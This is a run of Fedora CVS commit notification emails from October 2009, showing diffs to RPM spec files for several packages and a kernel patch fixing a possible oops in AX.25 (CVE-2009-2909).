diff -u -p -r1.8 -r1.9
--- .cvsignore	18 Aug 2009 22:41:36 -0000	1.8
+++ .cvsignore	15 Oct 2009 09:45:39 -0000	1.9
@@ -1 +1 @@
-biopython-1.51.tar.gz
+biopython-1.52.tar.gz


Index: python-biopython.spec
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/devel/python-biopython.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- python-biopython.spec	18 Aug 2009 22:41:37 -0000	1.17
+++ python-biopython.spec	15 Oct 2009 09:45:39 -0000	1.18
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             python-biopython
-Version:          1.51
+Version:          1.52
 Release:          1%{?dist}
 Summary:          Python tools for computational molecular biology
 Source0:          http://biopython.org/DIST/biopython-%{version}.tar.gz
@@ -69,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/BioSQL/*
 
 %changelog
+* Thu Oct 15 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.52-1
+- Update to latest upstream (1.52)
+
 * Tue Aug 18 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.51-1
 - Update to upstream 1.51
 - Drop mx {Build}Requires, no longer used upstream


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	18 Aug 2009 22:41:37 -0000	1.8
+++ sources	15 Oct 2009 09:45:39 -0000	1.9
@@ -1 +1 @@
-e973cb96b44b47526d31b6a0039c686f  biopython-1.51.tar.gz
+87e31749d431ed8a2d4fa909a42a478f  biopython-1.52.tar.gz



From alexlan at fedoraproject.org  Thu Oct 15 09:47:52 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Thu, 15 Oct 2009 09:47:52 +0000 (UTC)
Subject: rpms/python-biopython/F-12 .cvsignore, 1.8,
	1.9 python-biopython.spec, 1.17, 1.18 sources, 1.8, 1.9
Message-ID: <20091015094752.9C8CD11C00DB@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/extras/rpms/python-biopython/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8934

Modified Files:
	.cvsignore python-biopython.spec sources 
Log Message:
- Update to latest upstream (1.52)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	18 Aug 2009 22:41:36 -0000	1.8
+++ .cvsignore	15 Oct 2009 09:47:52 -0000	1.9
@@ -1 +1 @@
-biopython-1.51.tar.gz
+biopython-1.52.tar.gz


Index: python-biopython.spec
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-12/python-biopython.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- python-biopython.spec	18 Aug 2009 22:41:37 -0000	1.17
+++ python-biopython.spec	15 Oct 2009 09:47:52 -0000	1.18
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             python-biopython
-Version:          1.51
+Version:          1.52
 Release:          1%{?dist}
 Summary:          Python tools for computational molecular biology
 Source0:          http://biopython.org/DIST/biopython-%{version}.tar.gz
@@ -69,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/BioSQL/*
 
 %changelog
+* Thu Oct 15 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.52-1
+- Update to latest upstream (1.52)
+
 * Tue Aug 18 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.51-1
 - Update to upstream 1.51
 - Drop mx {Build}Requires, no longer used upstream


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	18 Aug 2009 22:41:37 -0000	1.8
+++ sources	15 Oct 2009 09:47:52 -0000	1.9
@@ -1 +1 @@
-e973cb96b44b47526d31b6a0039c686f  biopython-1.51.tar.gz
+87e31749d431ed8a2d4fa909a42a478f  biopython-1.52.tar.gz



From alexlan at fedoraproject.org  Thu Oct 15 09:57:24 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Thu, 15 Oct 2009 09:57:24 +0000 (UTC)
Subject: rpms/python-biopython/F-10 .cvsignore, 1.7,
	1.8 python-biopython.spec, 1.12, 1.13 sources, 1.7, 1.8
Message-ID: <20091015095724.8DC6611C00DB@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/extras/rpms/python-biopython/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11203/F-10

Modified Files:
	.cvsignore python-biopython.spec sources 
Log Message:
Update to latest upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	18 Aug 2009 23:05:41 -0000	1.7
+++ .cvsignore	15 Oct 2009 09:57:24 -0000	1.8
@@ -1 +1 @@
-biopython-1.51.tar.gz
+biopython-1.52.tar.gz


Index: python-biopython.spec
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-10/python-biopython.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- python-biopython.spec	18 Aug 2009 23:05:41 -0000	1.12
+++ python-biopython.spec	15 Oct 2009 09:57:24 -0000	1.13
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             python-biopython
-Version:          1.51
+Version:          1.52
 Release:          1%{?dist}
 Summary:          Python tools for computational molecular biology
 Source0:          http://biopython.org/DIST/biopython-%{version}.tar.gz
@@ -69,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/BioSQL/*
 
 %changelog
+* Thu Oct 15 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.52-1
+- Update to latest upstream (1.52)
+
 * Tue Aug 18 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.51-1
 - Update to upstream 1.51
 - Drop mx {Build}Requires, no longer used upstream


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	18 Aug 2009 23:05:42 -0000	1.7
+++ sources	15 Oct 2009 09:57:24 -0000	1.8
@@ -1 +1 @@
-e973cb96b44b47526d31b6a0039c686f  biopython-1.51.tar.gz
+87e31749d431ed8a2d4fa909a42a478f  biopython-1.52.tar.gz



From alexlan at fedoraproject.org  Thu Oct 15 09:57:24 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Thu, 15 Oct 2009 09:57:24 +0000 (UTC)
Subject: rpms/python-biopython/F-11 .cvsignore, 1.8,
	1.9 python-biopython.spec, 1.16, 1.17 sources, 1.8, 1.9
Message-ID: <20091015095724.BE97211C00DB@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/extras/rpms/python-biopython/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11203/F-11

Modified Files:
	.cvsignore python-biopython.spec sources 
Log Message:
Update to latest upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	18 Aug 2009 22:45:19 -0000	1.8
+++ .cvsignore	15 Oct 2009 09:57:24 -0000	1.9
@@ -1 +1 @@
-biopython-1.51.tar.gz
+biopython-1.52.tar.gz


Index: python-biopython.spec
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-11/python-biopython.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- python-biopython.spec	18 Aug 2009 22:45:19 -0000	1.16
+++ python-biopython.spec	15 Oct 2009 09:57:24 -0000	1.17
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             python-biopython
-Version:          1.51
+Version:          1.52
 Release:          1%{?dist}
 Summary:          Python tools for computational molecular biology
 Source0:          http://biopython.org/DIST/biopython-%{version}.tar.gz
@@ -69,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/BioSQL/*
 
 %changelog
+* Thu Oct 15 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.52-1
+- Update to latest upstream (1.52)
+
 * Tue Aug 18 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.51-1
 - Update to upstream 1.51
 - Drop mx {Build}Requires, no longer used upstream


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	18 Aug 2009 22:45:19 -0000	1.8
+++ sources	15 Oct 2009 09:57:24 -0000	1.9
@@ -1 +1 @@
-e973cb96b44b47526d31b6a0039c686f  biopython-1.51.tar.gz
+87e31749d431ed8a2d4fa909a42a478f  biopython-1.52.tar.gz



From akurtakov at fedoraproject.org  Thu Oct 15 10:33:36 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu, 15 Oct 2009 10:33:36 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.678,1.679
Message-ID: <20091015103336.50C8011C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21313/devel

Modified Files:
	eclipse.spec 
Log Message:
- Add bootstrap flag.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.678
retrieving revision 1.679
diff -u -p -r1.678 -r1.679
--- eclipse.spec	12 Oct 2009 14:48:49 -0000	1.678
+++ eclipse.spec	15 Oct 2009 10:33:35 -0000	1.679
@@ -6,12 +6,13 @@
 # - fix ant libs
 Epoch:  1
 
-%define eclipse_major   3
-%define eclipse_minor   5
-%define eclipse_majmin  %{eclipse_major}.%{eclipse_minor}
-%define eclipse_micro   1
-%define initialize      1
+%global eclipse_major   3
+%global eclipse_minor   5
+%global eclipse_majmin  %{eclipse_major}.%{eclipse_minor}
+%global eclipse_micro   1
+%global initialize      1
 %global download_url    http://download.eclipse.org/technology/linuxtools/eclipse-build/
+%global bootstrap 0
 
 # All arches line up between Eclipse and Linux kernel names except i386 -> x86
 %ifarch %{ix86}
@@ -29,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        7%{?dist}
+Release:        8%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -68,15 +69,16 @@ BuildRequires:  mesa-libGL-devel
 BuildRequires:  mesa-libGLU-devel
 BuildRequires:  cairo >= 1.0
 BuildRequires:  unzip
-BuildRequires:  icu4j-eclipse >= 1:4.0.1-3
-BuildRequires:  tomcat5-jasper-eclipse >= 5.5.27-6.3
-BuildRequires:  tomcat6-servlet-2.5-api >= 6.0.18-9.2
 BuildRequires:  desktop-file-utils
 BuildRequires:  java-devel >= 1.6.0
 BuildRequires:  java-javadoc
 BuildRequires:  libXt-devel
 BuildRequires:  xulrunner-devel-unstable
 
+%if !%{bootstrap}
+BuildRequires:  icu4j-eclipse >= 1:4.0.1-3
+BuildRequires:  tomcat5-jasper-eclipse >= 5.5.27-6.3
+BuildRequires:  tomcat6-servlet-2.5-api >= 6.0.18-9.2
 BuildRequires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 BuildRequires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
 BuildRequires: jsch >= 0:0.1.41
@@ -95,6 +97,7 @@ BuildRequires: junit4
 BuildRequires: hamcrest >= 0:1.1-9.2
 BuildRequires: sat4j >= 2.1.0-1
 BuildRequires: objectweb-asm
+%endif
 
 %description
 The Eclipse platform is designed for building integrated development
@@ -121,7 +124,9 @@ SWT Library for GTK+-2.0.
 Summary:        Eclipse Rich Client Platform
 Group:          Development/Languages
 Requires:       %{name}-swt = %{epoch}:%{version}-%{release}
+%if ! %{bootstrap}
 Requires:       icu4j-eclipse >= 1:4.0.1-3
+%endif
 Requires:       java >= 1.6.0
 
 %description    rcp
@@ -131,6 +136,7 @@ Eclipse Rich Client Platform
 Summary:        Eclipse platform common files
 Group:          Text Editors/Integrated Development Environments (IDE)
 Requires:   %{name}-rcp = %{epoch}:%{version}-%{release}
+%if ! %{bootstrap}
 Requires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 Requires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
 Requires: jakarta-commons-beanutils jakarta-commons-collections jakarta-commons-digester jakarta-commons-dbcp jakarta-commons-fileupload jakarta-commons-launcher jakarta-commons-modeler jakarta-commons-pool
@@ -146,6 +152,7 @@ Requires: lucene >= 2.3.1-3.4
 Requires: lucene-contrib >= 2.3.1-3.4
 Requires: regexp
 Requires: sat4j >= 2.1.0-1
+%endif
 Provides: eclipse-cvs-client = 1:%{version}-%{release}
 Obsoletes: eclipse-cvs-client < 1:3.3.2-20
 
@@ -158,9 +165,11 @@ Summary:        Eclipse Java Development
 Group:          Text Editors/Integrated Development Environments (IDE)
 Requires:       %{name}-platform = %{epoch}:%{version}-%{release}
 Requires:       %{name}-cvs-client = %{epoch}:%{version}-%{release}
+%if ! %{bootstrap}
 Requires:       junit >= 3.8.1-3jpp
 Requires:       junit4
 Requires:       jakarta-commons-httpclient
+%endif
 Requires:       java-javadoc
 Requires:       java-devel
 
@@ -175,8 +184,10 @@ Provides:	eclipse
 Provides:	eclipse-sdk
 Requires:       %{name}-platform = %{epoch}:%{version}-%{release}
 Requires:       %{name}-jdt = %{epoch}:%{version}-%{release}
+%if ! %{bootstrap}
 Requires:       objectweb-asm
 Requires:       hamcrest >= 0:1.1-9.2
+%endif
 # For PDE Build wrapper script
 Requires:       bash
 Provides:       %{name}-pde-runtime = 1:%{version}-%{release}
@@ -308,6 +319,7 @@ IFS='
 
 %endif
 
+%if ! %{bootstrap}
 # Symlinks
 rm plugins/org.sat4j*
 ln -s %{_javadir}/org.sat4j.core* plugins/org.sat4j.core_2.1.0.v20090520.jar
@@ -463,6 +475,7 @@ if [ ! -z "$JARS" ]; then
     echo "These jars should be deleted and symlinked to system jars: $JARS"
    #FIXME: enable  exit 1
 fi
+%endif
 
 # target platform template patch
 %patch3 -p0
@@ -780,6 +793,7 @@ PDEBUILDVERSION=$(ls $RPM_BUILD_ROOT%{_l
 sed -i "s/@PDEBUILDVERSION@/$PDEBUILDVERSION/g" \
   $RPM_BUILD_ROOT%{_libdir}/%{name}/buildscripts/pdebuild
 
+%if ! %{bootstrap}
 pushd $RPM_BUILD_ROOT%{_libdir}/%{name}
 rm plugins/org.sat4j*
 ln -s %{_javadir}/org.sat4j.core* plugins/org.sat4j.core_2.1.0.v20090520.jar
@@ -909,8 +923,8 @@ JSPAPIVERSION=$(ls plugins | grep javax.
 rm plugins/javax.servlet.jsp_*
 ln -s %{_javadir}/tomcat5-jsp-2.0-api.jar \
   plugins/javax.servlet.jsp_$JSPAPIVERSION
-
 popd
+%endif
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -959,6 +973,9 @@ fi
 %{_libdir}/%{name}/configuration/org.eclipse.osgi/.manager
 %{_libdir}/%{name}/configuration/org.eclipse.osgi/.state*
 %endif
+%if %{bootstrap}
+%{_libdir}/%{name}/plugins/com.ibm.icu_*
+%endif
 %config %{_libdir}/%{name}/configuration
 %config %{_libdir}/%{name}/configuration/config.ini
 %config %{_libdir}/%{name}/configuration/org.eclipse.equinox.simpleconfigurator/bundles.info
@@ -1164,6 +1181,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Thu Oct 15 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-8
+- Add bootstrap flag.
+
 * Mon Oct 12 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-7
 - Put back JAVA_HOME.
 



From olea at fedoraproject.org  Thu Oct 15 10:37:35 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Thu, 15 Oct 2009 10:37:35 +0000 (UTC)
Subject: rpms/purple-facebookchat/F-11 purple-facebookchat.spec,1.20,1.21
Message-ID: <20091015103735.47B0811C00DB@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22423

Modified Files:
	purple-facebookchat.spec 
Log Message:
 fix #526615


Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/F-11/purple-facebookchat.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- purple-facebookchat.spec	14 Oct 2009 08:02:39 -0000	1.20
+++ purple-facebookchat.spec	15 Oct 2009 10:37:35 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           purple-facebookchat
 Version:        1.61
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        Libpurple plug-in supporting facebook IM
 Group:          Applications/Internet
 License:        GPLv3+
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
+* Thu Oct 15 2009 Ismael Olea <ismael at olea.org> 1.61-3
+- rebuilding _again_ with json-glib 0.8.0 to fix #526615
+
 * Wed Oct 14 2009 Ismael Olea <ismael at olea.org> 1.61-2
 - rebuilding with json-glib 0.8.0 to fix #526615
 



From cebbert at fedoraproject.org  Thu Oct 15 12:17:22 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu, 15 Oct 2009 12:17:22 +0000 (UTC)
Subject: rpms/kernel/F-11 ax25-fix-possible-oops-in-ax25_make_new.patch, NONE,
	1.1 kernel.spec, 1.1764, 1.1765
Message-ID: <20091015121722.178AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15584

Modified Files:
	kernel.spec 
Added Files:
	ax25-fix-possible-oops-in-ax25_make_new.patch 
Log Message:
AX.25 security fix (CVE-2009-2909)

ax25-fix-possible-oops-in-ax25_make_new.patch:
 af_ax25.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE ax25-fix-possible-oops-in-ax25_make_new.patch ---
>From fc19457a1971fee7f7e2b7f2346a5f66cfa2867c Mon Sep 17 00:00:00 2001
From: Jarek Poplawski <jarkao2 at gmail.com>
Date: Sun, 27 Sep 2009 10:57:02 +0000
Subject: ax25: Fix possible oops in ax25_make_new

From: Jarek Poplawski <jarkao2 at gmail.com>

[ Upstream commit 8c185ab6185bf5e67766edb000ce428269364c86 ]

In ax25_make_new, if kmemdup of digipeat returns an error, there would
be an oops in sk_free while calling sk_destruct, because sk_protinfo
is NULL at the moment; move sk->sk_destruct initialization after this.

BTW of reported-by: Bernard Pidoux F6BVP <f6bvp at free.fr>

Signed-off-by: Jarek Poplawski <jarkao2 at gmail.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ax25/af_ax25.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ax25/af_ax25.c
+++ b/net/ax25/af_ax25.c
@@ -893,7 +893,6 @@ struct sock *ax25_make_new(struct sock *
 
 	sock_init_data(NULL, sk);
 
-	sk->sk_destruct = ax25_free_sock;
 	sk->sk_type     = osk->sk_type;
 	sk->sk_priority = osk->sk_priority;
 	sk->sk_protocol = osk->sk_protocol;
@@ -931,6 +930,7 @@ struct sock *ax25_make_new(struct sock *
 	}
 
 	sk->sk_protinfo = ax25;
+	sk->sk_destruct = ax25_free_sock;
 	ax25->sk    = sk;
 
 	return sk;


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1764
retrieving revision 1.1765
diff -u -p -r1.1764 -r1.1765
--- kernel.spec	15 Oct 2009 08:28:27 -0000	1.1764
+++ kernel.spec	15 Oct 2009 12:17:21 -0000	1.1765
@@ -800,6 +800,9 @@ Patch15760: x86-fix-csum_ipv6_magic-asm-
 # libata fix from 2.6.31.4 (#524756)
 Patch15800: libata-fix-incorrect-link-online-check-during-probe.patch
 
+# ax25 security fix (cve-2009-2909)
+Patch15900: ax25-fix-possible-oops-in-ax25_make_new.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1497,6 +1500,9 @@ ApplyPatch x86-fix-csum_ipv6_magic-asm-m
 # libata fix from 2.6.31.4 (#524756)
 ApplyPatch libata-fix-incorrect-link-online-check-during-probe.patch
 
+# ax25 security fix (cve-2009-2909)
+ApplyPatch ax25-fix-possible-oops-in-ax25_make_new.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2085,6 +2091,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 15 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-86
+- AX.25 security fix (CVE-2009-2909)
+
 * Thu Oct 15 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-85
 - Disable CONFIG_USB_STORAGE_CYPRESS_ATACB because it causes failure
   to boot from USB disks using Cypress bridges (#524998)



From pmachata at fedoraproject.org  Thu Oct 15 12:24:14 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Thu, 15 Oct 2009 12:24:14 +0000 (UTC)
Subject: rpms/boost/devel boost.spec,1.68,1.69
Message-ID: <20091015122414.A66A111C00DB@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17955

Modified Files:
	boost.spec 
Log Message:
- Package index.html in the -doc subpackage
- Resolves: #529030



Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/devel/boost.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- boost.spec	14 Oct 2009 11:42:23 -0000	1.68
+++ boost.spec	15 Oct 2009 12:24:13 -0000	1.69
@@ -6,7 +6,7 @@
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.39.0
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -39,6 +39,7 @@ BuildRequires: zlib-devel
 BuildRequires: python-devel
 BuildRequires: libicu-devel
 BuildRequires: chrpath
+
 Patch0: boost-version-override.patch
 Patch1: boost-use-rpm-optflags.patch
 Patch2: boost-run-tests.patch
@@ -352,7 +353,7 @@ cat tmp-doc-directories | while read a; 
     | xargs install -m 644 -p -t $DOCPATH$a
 done
 rm tmp-doc-directories
-install -p -m 644 -t $DOCPATH LICENSE_1_0.txt index.htm
+install -p -m 644 -t $DOCPATH LICENSE_1_0.txt index.htm index.html
 
 # remove scripts used to generate include files
 find $RPM_BUILD_ROOT%{_includedir}/ \( -name '*.pl' -o -name '*.sh' \) -exec rm {} \;
@@ -454,6 +455,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Thu Oct 15 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-9
+- Package index.html in the -doc subpackage
+- Resolves: #529030
+
 * Wed Oct 14 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-8
 - Several fixes to support PySide
 - Resolves: #520087



From mycae at fedoraproject.org  Thu Oct 15 12:25:08 2009
From: mycae at fedoraproject.org (mycae)
Date: Thu, 15 Oct 2009 12:25:08 +0000 (UTC)
Subject: rpms/mathgl/EL-5 mathgl.spec,1.3,1.4
Message-ID: <20091015122508.23D7211C00DB@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/mathgl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18529

Modified Files:
	mathgl.spec 
Log Message:
* Fix x86_64 build by using libdir macro



Index: mathgl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mathgl/EL-5/mathgl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mathgl.spec	11 Oct 2009 14:50:03 -0000	1.3
+++ mathgl.spec	15 Oct 2009 12:25:07 -0000	1.4
@@ -1,7 +1,7 @@
 %{!?octave_api:%global octave_api %(octave-config -p API_VERSION || echo 0)}
 Name: mathgl
 Version: 1.9
-Release: 7%{?dist}
+Release: 8%{?dist}
 Summary: Cross-platform library for making high-quality scientific graphics
 Summary(ru): MathGL - ??? ?????????? ??? ????????????? ?????????????????? ???????????? ??????
 License: GPLv2+
@@ -98,14 +98,14 @@ autoreconf
 
 
 %build
-QMAKE=/usr/lib/qt4/bin/qmake
-LUPDATE=/usr/lib/qt4/bin/lupdate
-LRELEASE=/usr/lib/qt4/bin/lrelease
-PATH=$PATH:/usr/lib/qt4/bin/
+QMAKE=%{_libdir}/qt4/bin/qmake
+LUPDATE=%{_libdir}/qt4/bin/lupdate
+LRELEASE=%{_libdir}/qt4/bin/lrelease
+PATH=$PATH:%{_libdir}/qt4/bin/
 
 %configure	--disable-static \
 		--enable-shared \
-		--enable-all --disable-rpath --with-qt=/usr/lib/qt4/
+		--enable-all --disable-rpath --with-qt=%{_libdir}/qt4/
 
 #Force strip rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
@@ -214,6 +214,9 @@ rm -rf $RPM_BUILD_ROOT
 #%doc texinfo/docs/*
 #
 %changelog
+* Mon Oct 12 2009 <mycae(a!t)yahoo.com> 1.9-8
+- Fixed x86_64 QT paths
+
 * Mon Oct 12 2009 <mycae(a!t)yahoo.com> 1.9-7
 - Fixed EPEL 5 build by disabling octave (swig too old) and texi generation
 



From olea at fedoraproject.org  Thu Oct 15 12:29:40 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Thu, 15 Oct 2009 12:29:40 +0000 (UTC)
Subject: rpms/purple-facebookchat/F-11 purple-facebookchat.spec,1.21,1.22
Message-ID: <20091015122940.EFD6511C00DB@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19654

Modified Files:
	purple-facebookchat.spec 
Log Message:
 excluding this architectures ppc ppc64


Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/F-11/purple-facebookchat.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- purple-facebookchat.spec	15 Oct 2009 10:37:35 -0000	1.21
+++ purple-facebookchat.spec	15 Oct 2009 12:29:40 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           purple-facebookchat
 Version:        1.61
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Libpurple plug-in supporting facebook IM
 Group:          Applications/Internet
 License:        GPLv3+
@@ -13,7 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  libpurple-devel >= 2.5.8
 BuildRequires:  json-glib-devel >= 0.8.0
 #BuildRequires:  zlib-devel
-ExcludeArch:    s390x
+ExcludeArch:    s390x ppc ppc64
 
 %description
 This is a Facebook chat plugin for Pidgin and libpurple
@@ -51,6 +51,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
+* Thu Oct 15 2009 Ismael Olea <ismael at olea.org> 1.61-4
+- excluding this architectures since the new json-glib
+   is not available  ppc ppc64
+
 * Thu Oct 15 2009 Ismael Olea <ismael at olea.org> 1.61-3
 - rebuilding _again_ with json-glib 0.8.0 to fix #526615
 



From rdieter at fedoraproject.org  Thu Oct 15 12:42:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 12:42:53 +0000 (UTC)
Subject: rpms/sip/devel .cvsignore, 1.30, 1.31 sip.spec, 1.64, 1.65 sources, 
	1.31, 1.32
Message-ID: <20091015124253.0F11E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/sip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23236

Modified Files:
	.cvsignore sip.spec sources 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9-1
- sip-4.9
- License: GPLv2 or GPLv3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	28 Jul 2009 12:55:57 -0000	1.30
+++ .cvsignore	15 Oct 2009 12:42:52 -0000	1.31
@@ -1 +1 @@
-sip-4.8.2.tar.gz
+sip-4.9.tar.gz


Index: sip.spec
===================================================================
